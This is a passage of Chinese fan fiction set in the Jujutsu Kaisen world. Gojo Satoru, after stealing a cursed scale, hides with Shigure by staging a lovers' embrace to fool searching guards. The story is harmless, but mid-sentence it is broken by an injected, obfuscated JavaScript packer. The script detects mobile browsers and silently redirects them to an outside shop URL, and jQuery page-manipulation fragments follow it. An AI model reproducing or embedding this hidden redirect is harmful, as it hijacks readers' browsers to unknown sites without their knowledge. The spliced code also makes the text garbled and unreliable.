从天而降的男人收回了那短暂的锐利之后,恢复了一贯玩世不恭的语气:“哟,时雨。”


    时雨收回刚才下意识防御的姿态,讶异地看着面前的男人:“您……”


    不同于现场的其他人,五条悟并没有做什么更多的伪装,只是穿着简单的黑色衬衫和休闲裤,一头明晃晃的白发和苍蓝色的眼睛昭示着他的身份。


    看出时雨的疑惑,五条悟非常无所谓地耸肩承认:“我是偷偷溜进来的嘛。”


    时雨:“……”


    也是,这人的外貌实在过于显眼,无论是那头白发还是六眼,都已经快成为咒术界的标志了。但真要让面前的人遮掩伪装,按他的性格,也确实宁肯选择暗闯。


    “倒是时雨……”五条悟弯下腰凑近几分,“第一次见时雨长发的样子诶,面具上带了咒术所以换了眼睛的颜色?”


    时雨撇嘴:“但一点也没瞒住五条老师。”


    男人一脸理所应当地接话:“毕竟是时雨嘛。”


    沉默了一秒,时雨忽略掉自己听到五条悟这句话时短暂的异样,正想询问他为什么会出现在这里,就听到房间外的走廊上传来了杂乱而急促的脚步声,从楼上隐约传来阵阵惊呼:“咒物失踪,有人强闯!”


    时雨瞬间反应过来,望向五条悟,后者展开手掌,露出了一枚莹润的鳞片,又顺手塞进了一个封印袋,放进了怀里。


    走廊上脚步声已经渐近,对讲机的声音愈发清晰:“从这里开始,搜查每一个房间。”


    如果不是遇上了时雨,大约五条悟原本的计划是趁着混乱强行清场,解决少数的几个目击者之后混入楼下的人群。但只是短暂的耽搁,两人就已然被困在了这个小小的休息室里,现在出去无异于自投罗网。


    危险的气息靠近,时雨顾不上吐槽这人到底是有多大的心脏,才能在片刻之前还有闲心与她说笑。她大脑飞速运转着,思索要如何化解,毕竟面前的男人没有半点伪装,身份昭然若揭。


    她忽然灵光乍现般回忆起在她前面相携上楼的男女,朝着五条悟凑近了一步:“失礼了。”


    她跨步上前,迅速摘下自己脸上那张掩饰瞳色的银白色犬神面具,覆在了五条悟的脸上,遮挡住那标志性的六眼。左手大拇指在自己涂着水红色唇釉的嘴唇上重重一抹,然后眼疾手快地将那抹红润粗犷而暧昧地抹开在了五条悟的唇边。


    原本正偏头打量着窗外结界稳固性的五条悟怔愣了一瞬,那双不可一世的眼睛微微放大。在警备森严的咒物库房里窃取蛇神鳞片的时候都没有波澜的心脏,在此刻好像轻轻漏跳了一拍。


    但多年一线任务浸润下,哪怕在此刻,五条悟也极快地反应了过来。在门把手被按动的刹那,将时雨往自己的怀中一扣,遮挡住少女的面容。自己则垂下头,埋首于少女的发间。


    于是时雨原本半悬于空中的手,便自然而然地交扣在了男人的颈后。


    “砰!”


    房门被粗暴地撞开,肌肉贲张的几名侍从猛冲了进来。


    然而映入眼帘的却只是被窗帘半遮半掩的一对男女。高大的男人将女人紧紧按入怀中,将怀中人护得严严实实,窗帘随着夜风扬起,平添几分夜幕下的氛围。


    男人垂着头,额前的碎发遮住了面具的边缘。他微微侧过脸,唇角略显凌乱的红痕在昏暗的灯光下流露出无尽暧昧气息。


    他喉间溢出一声极其不悦的冷哼,仿佛是兴致正浓却遭到了打断。


    侍从们下意识停住了脚步,“抱歉……我们正在追捕入侵者。”


    那股来自强者的威压哪怕隔着面具也令人胆战心惊,配合上男人一脸不耐的阴冷气息,仿佛再多呆片刻,他便会不管不顾地施放咒力朝他们袭来。


    “滚出去。”五条悟压低了嗓音,朝着来人冷喝道。


    领头的侍从挥手拦住身后不知轻重的安保,快速扫过整个房间,没有发现异样的咒力气息,于是朝着两人鞠躬,带着身边的人退了出去,匆忙关上了门。


    几道凌乱的脚步声远去,房间重归寂静。


    时雨试探着想要抬头,后脑勺却被一只大手扣住。五条悟依旧保持着埋手在时雨颈间的模样,像是情人间低声的安抚,鼻尖蹭过时雨的发丝,压低的声音伴随着温热的气息喷吐在时雨颈侧的皮肤上。


    “别着急,尾巴还在。”


    房间门上的猫眼处,隐约闪过一道阴影,大约是还未完全打消疑虑的侍从仍在门外观察着。


    像是两人之间情愫渐浓难以自抑,五条悟揽着时雨的腰,原地轻巧地打了个转,借着自己宽阔的背脊,把时雨完全包裹在了他和窗帘中间。


    两人鼻尖相对,可以清晰捕捉到对方微弱的睫毛颤动。时雨的身后是从窗玻璃传来的凉意,身前却是男人温暖的胸膛。


    她的手还交叉在五条悟的颈后,下意识地抓住了他衣领。指尖的触感是男人肩颈处紧实的肌肉,手腕蹭过他的后脑勺。


    ——后脑剃短的部分,果然是刺茸茸的手感。


    时雨不合时宜地跑歪了一瞬的重点。


    目光不知道该往何处投去,明明是仰着头、近乎索求的亲密姿态,时雨依旧不太自在地垂落目光,视野里却恰好只剩下男人近在咫尺的脖颈。


    冷白的皮肤带着几分紧绷的克制,像是一颗棱角分明的核桃一般的喉结轻轻上下滚动了一下,莫名让时雨觉察出几分侵略感,比起方才面对那些影之集的追踪人员时更胜一些的危险意味。


    于是大脑像是有了一瞬间的空白。


    五条悟似乎察觉了怀中少女一瞬间的战栗,从喉间溢出了一声极轻的短促笑意,顺着相拥的身体,清晰地传到了时雨耳中。


    “刚才这不是很大胆嘛。”收回抵在时雨后脑的手,五条悟隔着那张银白色的面具注视着面前的人,面具下的眼神多少有些晦暗不明,语气却一如往常地带着些许调笑。


    抚上时雨的侧脸,大拇指抵在她的唇边,不轻不重地擦拭去她唇角刚仓促间晕开的水红色,拉长语调轻声抱怨着,尾音却软得像是在撒娇:“真是把人吓了一跳诶——”


    五条悟偏过头,目光落在时雨那双因为紧绷而略显涣散的杏眼上,琥珀色的眼眸比平日更多了几分水润。及腰的长发像是浅金色的华丽锦缎,在旋转中缠绕在两人身间,发尾心血来潮涂抹上的蓝色,在月光勾勒下泛着如水的光泽。


    “嗯?怎么现在倒是不说话了嘛……在想什么?”五条悟压低嗓音,语气里带上几分调侃,又像是藏着一抹让人捉摸不透的深意,“后知后觉害羞了吗,小朋友?”


    ——这人以前叫“小朋友”的时候,都这么蛊吗?


    脸颊的温度在不自觉中攀升,心跳的声音在这方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343642|198490||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    狭窄的空间里都显得有些过分明显。时雨深吸一口气,试图控制住心跳的节奏。半晌,低着头自暴自弃道:“在想五条先生什么时候偷偷朝我放了个「无量空处」。”


    所以才大脑一片空白,完全不如平时一样能够伶牙利嘴地反驳男人的耍宝。


    五条悟听着时雨的控诉,愣了一瞬间,随即从胸腔泄出几声闷笑。他就着姿态将额头抵在了时雨的肩窝处,笑得双肩都在颤抖,温热的气息毫无阻碍地传递至时雨的皮肤。


    “很坦率地承认了在害羞诶——”


    时雨忍无可忍地抬起头,眼尾也染上了一抹薄红。皱了皱小巧的鼻尖,时雨像是有些羞恼,又带着几分连她自己都没意识到的嗔怪,狠狠瞪了五条悟一眼。


    眼神像是只被踩了尾巴后超凶地伸出了爪子示威、却又没有真正挠下去的小猫,带着些许不满的控诉:“现在可不是您看戏的时候,五条先生。”


    “はいはい……我会反省的。”五条悟终于拉开了一点距离,嘴角的笑意没有收回,六眼分了半分注意力给到门口,语气里含着些许他自己都没察觉的遗憾,“看来‘观众’已经退场了。”


    那只指节分明的大手依旧就着姿势,亲昵地捏了捏时雨的脸颊,直到颊畔的软肉陷出一个小小的窝,这才心满意足地松开。


    时雨不自在地揉了揉自己的脸颊,暂时压下心头的涟漪,“接下来您打算怎么办?出入口一定会严查大家随身携带的物品,您要打破结界强行闯出去吗?但那样就一定会留下您的咒力残秽了……虽然未经登记,但咒术界能认出您的咒力的人实在太多。”


    “咒术界最常见的结界都是为了起到‘御敌’的作用,比如咒术总监部的结界,重点在阻挡外侧咒术师和咒灵的闯入。”五条悟看着时雨收回了夹在他肩上的手,这才直起身,将手插进了裤兜,“但「影之集」的主办方很有自知之明,相较于传统的外侧防御功能,把更多的咒力用在了内侧的防御上,所以我闯入的时候,几乎没有费什么功夫。”


    “内向防御?”时雨低声重复,“就像任务现场施放的「帐」一样?”


    “Bingo!好学生加一分哦!”五条悟笑盈盈看着时雨,“所以虽然闯入并没有什么成本,但只要身上带了哪怕一丁点不该带走的东西,或者试图在不经过出口录入咒力核验的情况下强行离场,结界就会向主办方示警。”


    “现在的出入口肯定已经加强了搜查,”时雨冷静地分析着,目光投向窗外已经开始亮起的探照灯,“五条先生你的咒力没有登记,哪怕混入人群,只要经过门口那台咒力感应器,就会立刻暴露。”


    “嗯嗯,没错哦。”五条悟大幅度点着头,神情轻松地仿佛完全不是在谈论自己的事情。


    时雨无力地看他一眼,思索片刻,“那就……再乱一点吧。”


    五条悟挑眉,好整以暇地等待着时雨的解决方案。最不济,他也可以从内侧轻易打破结界,留下咒力残秽便留下,也没有几个人能奈他何。


    时雨站到窗边,将窗户打开得更大了些。


    不能使用两人的咒力,但要打开结界。


    那就——


    纤长的手指抬起,拇指和食指扣到嘴边,吹出一声细长的口哨。


    于是结界外侧的树上,栖身休憩着的乌鸦振动起翅膀,朝着哨音响起的方向展翅飞来。